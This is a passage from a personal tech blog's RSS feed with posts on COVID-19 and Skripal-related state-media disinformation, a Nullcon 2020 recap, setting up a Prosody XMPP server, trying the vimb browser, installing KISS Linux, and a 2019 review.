737<a href="https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/">an op-ed</a>
738suggests the virus’ impact on financial markets might bring about the
739reinvention of communism and the end of the global capitalist system.
740Russian state-sponsored media can also be seen amplifying Iranian
741conspiracy theories—including the Islamic Revolutionary Guard Corps’
742(IRGC) suggestion that COVID-19
743<a href="https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/">is a U.S. bioweapon</a>.</p>
744
745<p>Iranian media outlets appear to be running stories having similar
746themese, as well. Here’s one
747<a href="https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer">by PressTV</a>,
748where they very boldly claim that the virus was developed by
749the U.S. and/or Isreal, to use as a bioweapon against Iran. Another
750<a href="https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory">nonsensical piece</a>
751by PressTV suggests that
752“there are components of the virus that are related to HIV that could not have occurred naturally”.
753The same article pushes another theory:</p>
754
755<blockquote>
756 <p>There has been some speculation that as the Trump Administration has
757 been constantly raising the issue of growing Chinese global
758 competitiveness as a direct threat to American national security and
759 economic dominance, it might be possible that Washington has created
760 and unleashed the virus in a bid to bring Beijing’s growing economy
761 and military might down a few notches. It is, to be sure, hard to
762 believe that even the Trump White House would do something so
763 reckless, but there are precedents for that type of behavior</p>
764</blockquote>
765
766<p>These “theories”, as is evident, are getting wilder and wilder.</p>
767
768<p>Unsurprisingly, China produces the most amount of content related to the
769coronavirus, but they’re quite distinct in comparison to Russian and
770Iranian media. The general theme behind Chinese narratives is
771critisizing the West for…a lot of things.</p>
772
773<p>Global Times claims that
774<a href="http://www.globaltimes.cn/content/1178494.shtml">democracy is an insufficient system</a>
775to battle the coronavirus. They <a href="http://www.globaltimes.cn/content/1178494.shtml">blame the U.S.</a>
776for unfair media coverage against China, and other <a href="http://www.globaltimes.cn/content/1180630.shtml">anti-China
777narratives</a>.
778There are a ton other articles that play the racism/discrimination
779card—I wouldn’t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml">Here’s one</a>.</p>
780
781<p>In the case of India, most disinfo (actually, misinfo) is mostly just
782pseudoscientific / alternative medicine / cures in the form of WhatsApp
783forwards—"Eat foo! Eat bar!”.<sup class="footnote-ref" id="fnref-cowpiss"><a href="#fn-cowpiss">1</a></sup></p>
784
785<p>I’ve also been noticing a <em>ton</em> of COVID-19 / coronavirus related domain
786registrations happening. Expect phishing and malware campaigns using the
787virus as a theme. In the past 24 hrs, ~450 <code>.com</code> domains alone were
788registered.</p>
789
790<p><img src="/static/img/corona_domains.png" alt="corona domains" /></p>
791
792<p>Anywho, there are bigger problems at hand—like the fact that my uni
793still hasn’t suspended classes!</p>
794
795<div class="footnotes">
796<hr />
797<ol>
798<li id="fn-cowpiss">
799<p><a href="https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece">https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece</a> <a href="#fnref-cowpiss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
800</li>
801</ol>
802</div>
803]]></description><link>https://icyphox.sh/blog/covid19-disinfo</link><pubDate>Sun, 15 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/covid19-disinfo</guid></item><item><title>Nullcon 2020</title><description><![CDATA[<p><strong>Disclaimer</strong>: Political.</p>
804
805<p>This year’s conference was at the Taj Hotel and Convention center, Dona
806Paula, and its associated party at Cidade de Goa, also by Taj.
807Great choice of venue, perhaps even better than last time. The food was
808fine, the views were better.</p>
809
810<p>With <em>those</em> things out of the way—let’s talk talks. I think
811I preferred the panels to the talks—I enjoy a good, stimulating
812discussion as opposed to only half-understanding a deeply technical
813talk—but that’s just me. But there was this one talk that I really
814enjoyed, perhaps due to its unintended comedic value; I’ll get into that
815later.</p>
816
817<p>The list of panels/talks I attended in order:</p>
818
819<p><strong>Day 1</strong></p>
820
821<ul>
822<li>Keynote: The Metadata Trap by Micah Lee (Talk)</li>
823<li>Securing the Human Factor (Panel)</li>
824<li>Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)</li>
825<li>Lessons from the Cyber Trenches (Panel)</li>
826<li>Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)</li>
827<li>Taking the guess out of Glitching by Adam Laurie (Talk)</li>
828<li>Keynote: Cybersecurity in India – Information Assymetry, Cross Border
829Threats and National Sovereignty by Saumil Shah (Talk)</li>
830</ul>
831
832<p><strong>Day 2</strong></p>
833
834<ul>
835<li>Keynote: Crouching hacker, killer robot? Removing fear from
836cyber-physical security by Stefano Zanero (Talk)</li>
837<li>Supply Chain Security in Critical Infrastructure Systems (Panel)</li>
838<li>Putting it all together: building an iOS jailbreak from scratch by
839Umang Raghuvanshi (Talk)</li>
840<li>Hack the Law: Protection for Ethical Cyber Security Research in India
841(Panel)</li>
842</ul>
843
844<h2 id="re-closing-keynote">Re: Closing keynote</h2>
845
846<p>I wish I could link the talk, but it hasn’t been uploaded just yet. I’ll
847do it once it has. So, I’ve a few comments I’d like to make on some of
848Saumil’s statements.</p>
849
850<p>He proposed that the security industry trust the user more, and let them
851make the decisions pertaining to personal security / privacy.
852Except…that’s just not going to happen. If all users were capable
853of making good, security-first choices—we as an industry don’t
854need to exist. But that is unfortunately not the case.
855Users are dumb. They value convenience and immediacy over
856security. That’s the sad truth of the modern age.</p>
857
858<p>Another thing he proposed was that the Indian Government build our own
859“Military Grade” and “Consumer Grade” encryption.</p>
860
861<p><em>…what?</em></p>
862
863<p>A “security professional” suggesting that we roll our own crypto? What
864even. Oh and, to top it off—when
865<a href="https://twitter.com/tame_wildcard">Raman</a>, very rightly countered
866saying that the biggest opponent to encryption <em>is</em> the Government, and
867trusting them to build safe cryptosystems is probably not wise, he
868responded by saying something to the effect of “Eh, who cares? If they
869want to backdoor it, let them.” </p>
870
871<p>Bruh moment.</p>
872
873<p>He also had some interesting things to say about countering
874disinformation. He said, and I quote “Join the STFU University”.</p>
875
876<p>¿wat? Is that your best solution? </p>
877
878<p>Judging by his profile, and certain other things he said in the talk, it
879is safe to conclude that his ideals are fairly…nationalistic. I’m not
880one to police political opinions, I couldn’t care less which way you
881lean, but the statements made in the talk were straight up
882incorrect.</p>
883
884<h2 id="closing-thoughts">Closing thoughts</h2>
885
886<p>This came out more rant-like than I’d intended. It is also the first
887blog post where I dip my toes into politics. I’ve some thoughts on more
888controversial topics for my next entry. That’ll be fun, especially when
889my follower count starts dropping. LULW.</p>
890
891<p>Saumil, if you ever end up reading this, note that this is not
892a personal attack. I think you’re a cool guy.</p>
893
894<p>Note to the Nullcon organizers: you guys did a fantastic job running the
895conference despite Corona-chan’s best efforts. I’d like to suggest one
896little thing though—please VET YOUR SPEAKERS more!</p>
897
898<p><img src="/static/img/nullcon_beach.jpg" alt="group pic" /></p>
899]]></description><link>https://icyphox.sh/blog/nullcon-2020</link><pubDate>Mon, 09 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/nullcon-2020</guid></item><item><title>Setting up Prosody for XMPP</title><description><![CDATA[<p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while
900back? Well…it’s safe to say that IRC didn’t hold up too well. It first
901started with the bot. Buggy code, crashed a lot—we eventually gave up
902and didn’t bring the bot back up. Then came the notifications, or lack
903thereof. Revolution IRC has a bug where your custom notification rules
904just get ignored after a while. In my case, this meant that
905notifications for <code>#crimson</code> stopped entirely. Unless, of course, Nerdy
906pinged me each time.</p>
907
908<p>Again, none of these problems are inherent to IRC itself. IRC is
909fantastic, but perhaps wasn’t the best fit for our usecase. I still do
910use IRC though, just not for 1-on-1 conversations.</p>
911
912<h2 id="why-xmpp">Why XMPP?</h2>
913
914<p>For one, it’s better suited for 1-on-1 conversations. It also has
915support for end-to-end encryption (via OMEMO), something IRC doesn’t
916have.<sup class="footnote-ref" id="fnref-otr"><a href="#fn-otr">1</a></sup> Also, it isn’t centralized (think: email).</p>
917
918<h2 id="soprosody">So…Prosody</h2>
919
920<p><a href="https://prosody.im">Prosody</a> is an XMPP server. Why did I choose this
921over ejabberd, OpenFire, etc.? No reason, really. Their website looked
922cool, I guess.</p>
923
924<h3 id="installing">Installing</h3>
925
926<p>Setting it up was pretty painless (I’ve <a href="/blog/mailserver">experienced
927worse</a>). If you’re on a Debian-derived system, add:</p>
928
929<pre><code># modify according to your distro
930deb https://packages.prosody.im/debian buster main
931</code></pre>
932
933<p>to your <code>/etc/apt/sources.list</code>, and:</p>
934
935<pre><code># apt update
936# apt install prosody
937</code></pre>
938
939<h3 id="configuring">Configuring</h3>
940
941<p>Once installed, you will find the config file at
942<code>/etc/prosody/prosody.cfg.lua</code>. Add your XMPP user (we will make this
943later), to the <code>admins = {}</code> line.</p>
944
945<pre><code>admins = {"user@chat.example.com"}
946</code></pre>
947
948<p>Head to the <code>modules_enabled</code> section, and add this to it:</p>
949
950<pre><code>modules_enabled = {
951 "posix";
952 "omemo_all_access";
953...
954 -- uncomment these
955 "groups";
956 "mam";
957 -- and any others you think you may need
958}
959</code></pre>
960
961<p>We will install the <code>omemo_all_access</code> module later.</p>
962
963<p>Set <code>c2s_require_encryption</code>, <code>s2s_require_encryption</code>, and
964<code>s2s_secure_auth</code> to <code>true</code>.
965Set the <code>pidfile</code> to <code>/tmp/prosody.pid</code> (or just leave it as default?).</p>
966
967<p>By default, Prosody stores passwords in plain-text, so fix that by
968setting <code>authentication</code> to <code>"internal_hashed"</code></p>
969
970<p>Head to the <code>VirtualHost</code> section, and add your vhost. Right above it,
971set the path to the HTTPS certificate and key:</p>
972
973<pre><code>certificates = "certs" -- relative to your config file location
974https_certificate = "certs/chat.example.com.crt"
975https_key = "certs/chat.example.com.key"
976...
977
978VirtualHost "chat.example.com"
979</code></pre>
980
981<p>I generated these certs using Let’s Encrypt’s <code>certbot</code>, you can use
982whatever. Here’s what I did:</p>
983
984<pre><code># certbot --nginx -d chat.example.com
985</code></pre>
986
987<p>This generates certs at <code>/etc/letsencrypt/live/chat.example.com/</code>. You can
988trivially import these certs into Prosody’s <code>/etc/prosody/certs/</code> directory using:</p>
989
990<pre><code># prosodyctl cert import /etc/letsencrypt/live/chat.example.com
991</code></pre>
992
993<h3 id="plugins">Plugins</h3>
994
995<p>All the modules for Prosody can be <code>hg clone</code>’d from
996<a href="https://hg.prosody.im/prosody-modules.">https://hg.prosody.im/prosody-modules.</a> You will, obviously, need
997Mercurial installed for this.</p>
998
999<p>Clone it somewhere, and: </p>
1000
1001<pre><code># cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules
1002</code></pre>
1003
1004<p>Do the same thing for whatever other module you choose to install. Don’t
1005forget to add it to the <code>modules_enabled</code> section in the config.</p>
1006
1007<h3 id="adding-users">Adding users</h3>
1008
1009<p><code>prosodyctl</code> makes this a fairly simple task:</p>
1010
1011<pre><code>$ prosodyctl adduser user@chat.example.com
1012</code></pre>
1013
1014<p>You will be prompted for a password. You can optionally, enable
1015user registrations from XMPP/Jabber clients (security risk!), by setting
1016<code>allow_registration = true</code>.</p>
1017
1018<p>I may have missed something important, so here’s <a href="https://x.icyphox.sh/prosody.cfg.lua">my
1019config</a> for reference.</p>
1020
1021<h2 id="closing-notes">Closing notes</h2>
1022
1023<p>That’s pretty much all you need for 1-on-1 E2EE chats. I don’t know much
1024about group chats just yet—trying to create a group in Conversations
1025gives a “No group chat server found”. I will figure it out later.</p>
1026
1027<p>Another thing that doesn’t work in Conversations is adding an account
1028using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref-srv"><a href="#fn-srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code>
1029subdomain isn’t very clean, but whatever.</p>
1030
1031<p>Oh, also—you can message me at
1032<a href="xmpp:icy@chat.icyphox.sh">icy@chat.icyphox.sh</a>.</p>
1033
1034<div class="footnotes">
1035<hr />
1036<ol>
1037<li id="fn-otr">
1038<p>I’m told IRC supports OTR, but I haven’t ever tried. <a href="#fnref-otr" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1039</li>
1040
1041<li id="fn-srv">
1042<p><a href="https://prosody.im/doc/dns">https://prosody.im/doc/dns</a> <a href="#fnref-srv" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1043</li>
1044</ol>
1045</div>
1046]]></description><link>https://icyphox.sh/blog/prosody</link><pubDate>Tue, 18 Feb 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/prosody</guid></item><item><title>Status update</title><description><![CDATA[<p>It’s only been a two weeks since I got back to campus, and we’ve
1047<em>already</em> got our first round of cycle tests starting this Tuesday.
1048Granted, I returned a week late, but…that’s nuts!</p>
1049
1050<p>We’re two whole weeks into 2020; I should’ve been working on something
1051status update worthy, right? Not really, but we’ll see.</p>
1052
1053<h2 id="no-more-cloudflare">No more Cloudflare!</h2>
1054
1055<p>Yep. If you weren’t aware—pre-2020 this site was behind Cloudflare
1056SSL and their DNS. I have since migrated off it to
1057<a href="https://he.net">he.net</a>, thanks to highly upvoted Lobste.rs comment.
1058Because of this switch, I infact, learnt a ton about DNS.</p>
1059
1060<p>Migrating to HE was very painless, but I did have to research a lot
1061about PTR records—Cloudflare kinda dumbs it down. In my case, I had to
1062rename my DigitalOcean VPS instance to the FQDN, which then
1063automagically created a PTR record at DO’s end.</p>
1064
1065<h2 id="i-dropped-icyrc">I dropped icyrc</h2>
1066
1067<p>The IRC client I was working on during the end of last
1068December–early-January? Yeah, I lost interest. Apparently writing C and
1069ncurses isn’t very fun or stimulating.</p>
1070
1071<p>This also means I’m back on weechat. Until I find another client that
1072plays well with ZNC, that is.</p>
1073
1074<h2 id="kiss-stuff">KISS stuff</h2>
1075
1076<p>I now maintain two new packages in the KISS community repository—2bwm
1077and aerc! The KISS package system is stupid simple to work with. Creating
1078packages has never been easier.</p>
1079
1080<h2 id="icyphoxshfriendsfriends"><a href="/friends">icyphox.sh/friends</a></h2>
1081
1082<p>Did you notice that yet? I’ve been curating a list of people I know IRL
1083and online, and linking to their online presence. This is like a webring
1084of sorts, and promotes inter-site traffic—making the web more “web”
1085again.</p>
1086
1087<p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I’ll link
1088your site too! My apologies if I’ve forgotten your name.</p>
1089
1090<h2 id="patreon">Patreon!</h2>
1091
1092<p>Is this big news? I dunno, but yes—I now have a Patreon. I figured I’d
1093cash in on the newfound traffic my site’s been getting. There won’t be
1094any exclusive content or any tiers or whatever. Nothing will change.
1095Just a place for y’all to toss me some $$$ if you wish to do so. ;)</p>
1096
1097<p>Oh, and it’s at <a href="https://patreon.com/icyphox">patreon.com/icyphox</a>.</p>
1098
1099<h2 id="misc">Misc.</h2>
1100
1101<p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till
1102date. I’m still not done yet; about 500 odd pages to go as of this
1103writing. But wow, Brandon really does know how to build worlds and magic
1104systems. I cannot wait to read all about the
1105<a href="https://coppermind.net/wiki/Cosmere">cosmere</a>.</p>
1106
1107<p>I have also been working out for the past month or so. I can see them
1108gainzzz. I plan to keep track of my progress, I just don’t know how to
1109quantify it. Perhaps I’ll log the number of reps × sets I do each time,
1110and with what weights. I can then look back to see if either the weights
1111have increased since, or the number of reps × sets have. If you know of
1112a better way to quantify progress, let me know! I’m pretty new to this.</p>
1113]]></description><link>https://icyphox.sh/blog/2020-01-18</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2020-01-18</guid></item><item><title>Vimb: my Firefox replacement</title><description><![CDATA[<p>After having recently installed <a href="https://getkiss.org">KISS</a>, and
1114building Firefox from source, I was exposed to the true monstrosity that
1115Firefox—and web browsers in general—is. It took all of 9 hours to
1116build the dependencies and then Firefox itself.</p>
1117
1118<p>Sure, KISS now ships Firefox binaries in the
1119<a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin">firefox-bin</a>
1120package; I decided to get rid of that slow mess anyway.</p>
1121
1122<h2 id="enter-vimb">Enter vimb</h2>
1123
1124<p><a href="https://fanglingsu.github.io/vimb/">vimb</a> is a browser based on
1125<a href="https://webkitgtk.org/">webkit2gtk</a>, with a Vim-like interface.
1126<code>webkit2gtk</code> builds in less than a minute—it blows Firefox out of
1127the water, on that front.</p>
1128
1129<p>There isn’t much of a UI to it—if you’ve used Vimperator/Pentadactyl
1130(Firefox plugins), vimb should look familiar to you.
1131It can be configured via a <code>config.h</code> or a text based config file at
1132<code>~/.config/vimb/config</code>.
1133Each “tab” opens a new instance of vimb, in a new window but this can
1134get messy really fast if you have a lot of tabs open.</p>
1135
1136<h2 id="enter-tabbed">Enter tabbed</h2>
1137
1138<p><a href="https://tools.suckless.org/tabbed/">tabbed</a> is a tool to <em>embed</em> X apps
1139which support xembed into a tabbed UI. This can be used in conjunction
1140with vimb, like so:</p>
1141
1142<pre><code>tabbed vimb -e
1143</code></pre>
1144
1145<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring
1146Firefox-esque keybinds in tabbed’s <code>config.h</code> is relatively easy. Once
1147that’s done—voilà! A fairly sane, Vim-like browsing experience that’s
1148faster and has a smaller footprint than Firefox.</p>
1149
1150<h2 id="ad-blocking">Ad blocking</h2>
1151
1152<p>Ad blocking support isn’t built-in and there is no plugin system
1153available. There are two options for ad blocking:</p>
1154
1155<ol>
1156<li><a href="https://github.com/jun7/wyebadblock">wyebadblock</a></li>
1157<li><code>/etc/hosts</code></li>
1158</ol>
1159
1160<h2 id="caveats">Caveats</h2>
1161
1162<p><em>Some</em> websites tend to not work because they detect vimb as an older
1163version of Safari (same web engine). This is a minor inconvenience, and
1164not a dealbreaker for me. I also cannot login to Google’s services for
1165some reason, which is mildly annoying, but it’s good in a way—I am now
1166further incentivised to dispose of my Google account.</p>
1167
1168<p>And here’s the screenshot y’all were waiting for:</p>
1169
1170<p><img src="/static/img/vimb.png" alt="vimb" /></p>
1171]]></description><link>https://icyphox.sh/blog/mnml-browsing</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mnml-browsing</guid></item><item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every
1172have any classes (again, so far), and I’ve a ton of free time on my
1173hands. This calls for—yep—a distro hop! </p>
1174
1175<h2 id="why-kiss">Why KISS?</h2>
1176
1177<p><a href="https://getkiss.org">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref-hn"><a href="#fn-hn">1</a></sup>
1178The Hacker News post spurred <em>quite</em> the discussion. But then again,
1179that is to be expected from Valleybros who use macOS all day. :^)</p>
1180
1181<p>From the website,</p>
1182
1183<blockquote>
1184 <p>An independent Linux® distribution with a focus on simplicity and the
1185 concept of “less is more”. The distribution targets <em>only</em> the x86-64
1186 architecture and the English language.</p>
1187</blockquote>
1188
1189<p>Like many people did in the HN thread, “simplicity” here is not to be
1190confused with “ease”. It is instead, simplicity in terms of lesser and
1191cleaner code—no
1192<a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p>
1193
1194<p>This, I can get behind. A clean system with less code is like a clean
1195table. It’s nice to work on. It also implies security to a certain
1196extent since there’s a smaller attack surface. </p>
1197
1198<p>The <a href="https://github.com/kisslinux/kiss"><code>kiss</code></a> package manager is written
1199is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
1200source and <code>kiss</code> automatically performs dependency resolution. Creating
1201packages is ridiculously easy too.</p>
1202
1203<p>Speaking of packages, all packages—both official & community
1204repos—are run through <code>shellcheck</code> before getting merged. This is
1205awesome; I don’t think this is done in any other distro.</p>
1206
1207<p>In essence, KISS sucks less.</p>
1208
1209<h2 id="installing-kiss">Installing KISS</h2>
1210
1211<p>The <a href="https://getkiss.org/pages/install">install guide</a> is very easy to
1212follow. Clear instructions that make it hard to screw up; that didn’t
1213stop me from doing so, however.</p>
1214
1215<h3 id="day-1">Day 1</h3>
1216
1217<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
1218system—I’ll count it. I’d compiled the kernel in the chroot and
1219decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
1220to modify the Intel Extensible Firmware Interface (EFI). Essentially,
1221you boot the <code>.efi</code> directly as opposed to choosing which boot entry
1222you want to boot, through GRUB. Useful if you have just one OS on the
1223system. Removes one layer of abstraction.</p>
1224
1225<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>
1226
1227<pre><code>efibootmgr --create
1228 --disk /dev/nvme0n1 \
1229 --part 1 \
1230 --label KISS Linux \
1231 --loader /vmlinuz
1232 --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters
1233</code></pre>
1234
1235<p>Mind you, this didn’t work the first time, or the second, or the
1236third … a bunch of trial and error (and asking on <code>#kisslinux</code>)
1237later, it worked.</p>
1238
1239<p>Well, it booted, but not into KISS. Took a while to figure out that the
1240culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
1241config. Rebuild & reboot later, I was in.</p>
1242
1243<h3 id="day-2">Day 2</h3>
1244
1245<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
1246(ethernet) and wireless don’t work. Great. Dug around a bit—missing
1247wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
1248Intel (eugh!). The whole day was spent in figuring out why the kernel
1249would never load the firmware. I tried different variations—loading
1250it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>
1251
1252<h3 id="day-3">Day 3</h3>
1253
1254<p>I then tried Alpine’s kernel config but that was so huge and had a <em>ton</em>
1255of modules and took far too long to build each time, much to my
1256annoyance. Diffing their config and mine was about ~3000 lines! Too much
1257to sift through. On a whim, I decided to scrap my entire KISS install
1258and start afresh. </p>
1259
1260<p>For some odd reason, after doing the <em>exact</em> same things I’d done
1261earlier, my wireless worked this time. Ethernet didn’t, and still
1262doesn’t, but that’s ok.</p>
1263
1264<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
1265to spotty internet. The build went through fine, though what wasn’t was
1266no input after starting X. Adding my user to the <code>input</code> group wasn’t
1267enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
1268Installing that gave me my mouse back, but not the keyboard!</p>
1269
1270<p>It was definitely not the kernel this time, because I had a working
1271keyboard in the TTY. </p>
1272
1273<h3 id="day-4-day-5">Day 4 & Day 5</h3>
1274
1275<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
1276By this point I had exhausted all ideas, so I decided to build my
1277essential packages and setup my system. Building Firefox took nearly
12789 hours, the other stuff were much faster.</p>
1279
1280<p>I was still chatting on IRC during this, trying to zero down on what the
1281problem could be. And then:</p>
1282
1283<pre><code><dylanaraps> For starters I think st fails due to no fonts.
1284</code></pre>
1285
1286<p>Holy shit! Fonts. I hadn’t installed <em>any</em> fonts. Which is why none of
1287the applications I tried launching via <code>sowm</code> ever launched, and hence,
1288I was lead to believe my keyboard was dead.</p>
1289
1290<h2 id="worth-it">Worth it?</h2>
1291
1292<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
1293was. Also a test of my patience and perseverance, but yeah ok. I also
1294think that this distro is my endgame (yeah, right), probably because
1295other distros will be nothing short of disappointing, in one way or
1296another.</p>
1297
1298<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
1299throughout. And I mean, they <em>really</em> did. We chatted for hours on end
1300trying to debug my issues.</p>
1301
1302<p>I’ll now conclude with an obligatory screenshot.</p>
1303
1304<p><img src="https://x.icyphox.sh/R6G.png" alt="scrot" /></p>
1305
1306<div class="footnotes">
1307<hr />
1308<ol>
1309<li id="fn-hn">
1310<p><a href="https://news.ycombinator.com/item?id=21021396">https://news.ycombinator.com/item?id=21021396</a> <a href="#fnref-hn" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1311</li>
1312</ol>
1313</div>
1314]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
1315A little late to the “year in review blog post” party; travel took up
1316most of my time. Last year was pretty eventful (at least in my books),
1317and I think I did a bunch of cool stuff—let’s see!</p>
1318
1319<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>
1320
1321<p>Last summer, I interned at <a href="https://securelayer7.net">SecureLayer7</a>,
1322a security consulting firm in Pune, India. My work was mostly in
1323hardware and embededded security research. I learnt a ton about ARM and
1324MIPS reversing and exploitation, UART and JTAG, firmware RE and
1325enterprise IoT security.</p>
1326
1327<p>I also earned my first CVE! I’ve written about it in detail
1328<a href="/blog/fb50">here</a>.</p>
1329
1330<h2 id="conferences">Conferences</h2>
1331
1332<p>I attended two major conferences last year—Nullcon Goa and PyCon
1333India. Both super fun experiences and I met a ton of cool people!
1334<a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a>
1335and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>
1336
1337<h2 id="talks">Talks</h2>
1338
1339<p>I gave two talks last year:</p>
1340
1341<ol>
1342<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
1343<li><em>"Smart lock? Nah dude."</em> at PyCon India</li>
1344</ol>
1345
1346<h2 id="things-i-made">Things I made</h2>
1347
1348<p>Not in order, because I CBA:</p>
1349
1350<ul>
1351<li><a href="https://github.com/icyphox/repl">repl</a>: More of a quick bash hack,
1352I don’t really use it.</li>
1353<li><a href="https://github.com/icyphox/pw">pw</a>: A password manager. This,
1354I actually do use. I’ve even written a tiny
1355<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh"><code>dmenu</code> wrapper</a>
1356for it. </li>
1357<li><a href="https://github.com/icyphox/twsh">twsh</a>: An incomplete twtxt client,
1358in bash. I have yet to get around to finishing it.</li>
1359<li><a href="https://github.com/icyphox/alpine">alpine ports</a>: My APKBUILDs for
1360Alpine.</li>
1361<li><a href="https://github.com/icyphox/detotated">detotated</a>: An IRC bot written
1362in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
1363<li><a href="https://github.com/icyphox/icyrc">icyrc</a>: A no bullshit IRC client,
1364because WeeChat is bloat.</li>
1365</ul>
1366
1367<p>I probably missed something, but whatever.</p>
1368
1369<h2 id="blog-posts">Blog posts</h2>
1370
1371<pre><code>$ ls -1 pages/blog/*.md | wc -l
137220
1373</code></pre>
1374
1375<p>So excluding today’s post, and <code>_index.md</code>, that’s 18 posts! I had
1376initially planned to write one post a month, but hey, this is great. My
1377plan for 2020 is to write one post a <em>week</em>—unrealistic, I know, but
1378I will try nevertheless.</p>
1379
1380<p>I wrote about a bunch of things, ranging from programming to
1381return-oriented-programming (heh), sysadmin and security stuff, and
1382a hint of culture and philosophy. Nice!</p>
1383
1384<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
1385a ton of attention on the interwebz, so that was cool.</p>
1386
1387<h2 id="bye-2019">Bye 2019</h2>
1388
1389<p>2019 was super productive! (in my terms). I learnt a lot of new things
1390last year, and I can only hope to learn as much in 2020. :)</p>
1391
1392<p>I’ll see you next week.</p>
1393]]></description><link>https://icyphox.sh/blog/2019-in-review</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-in-review</guid></item><item><title>Disinfo war: RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
1394Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
1395the UK’s intelligence services. This hit attempt happened on the 4th of
1396March, 2018. 8 days later, then-Prime Minister Theresa May formally
1397accused Russia for the attack.</p>
1398
1399<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
1400In addition to the British military-research facility at Porton Down,
1401a small number of labs around the world were tasked with confirming
1402Porton Down’s conclusions on the toxin that was used, by the OPCW
1403(Organisation for the Prohibition of Chemical Weapons).</p>
1404
1405<p>With the background on the matter out of the way, here are the different
1406instances of well timed disinformation pushed out by Moscow.</p>
1407
1408<h2 id="the-russian-offense">The Russian offense</h2>
1409
1410<h3 id="april-14-2018">April 14, 2018</h3>
1411
1412<ul>
1413<li>RT published an article claiming that Spiez had identified a different
1414toxin—BZ, and not Novichok.</li>
1415<li>This was an attempt to shift the blame from Russia (origin of Novichok),
1416to NATO countries, where it was apparently in use.</li>
1417<li>Most viral piece on the matter in all of 2018.</li>
1418</ul>
1419
1420<p>Although technically correct, this isn’t the entire truth. As part of
1421protocol, the OPCW added a new substance to the sample as a test. If any
1422of the labs failed to identify this substance, their findings were
1423deemed untrustworthy. This toxin was a derivative of BZ.</p>
1424
1425<p>Here are a few interesting things to note:</p>
1426
1427<ol>
1428<li>The entire process starting with the OPCW and the labs is top-secret.
1429How did Russia even know Speiz was one of the labs?</li>
1430<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
1431Down’s findings. Note that Russia is a part of OPCW, and are fully
1432aware of the quality control measures in place. Surely they knew
1433about the reason for BZ’s use?</li>
1434</ol>
1435
1436<p>Regardless, the Russian version of the story spread fast. They cashed in
1437on two major factors to plant this disinfo:</p>
1438
1439<ol>
1440<li>“NATO bad” : Overused, but surprisingly works. People love a story
1441that goes full 180°.</li>
1442<li>Spiez can’t defend itself: At the risk of revealing that it was one
1443of the facilities testing the toxin, Spiez was only able to “not
1444comment”.</li>
1445</ol>
1446
1447<h3 id="april-3-2018">April 3, 2018</h3>
1448
1449<ul>
1450<li>The Independent publishes a story based on an interview with the chief
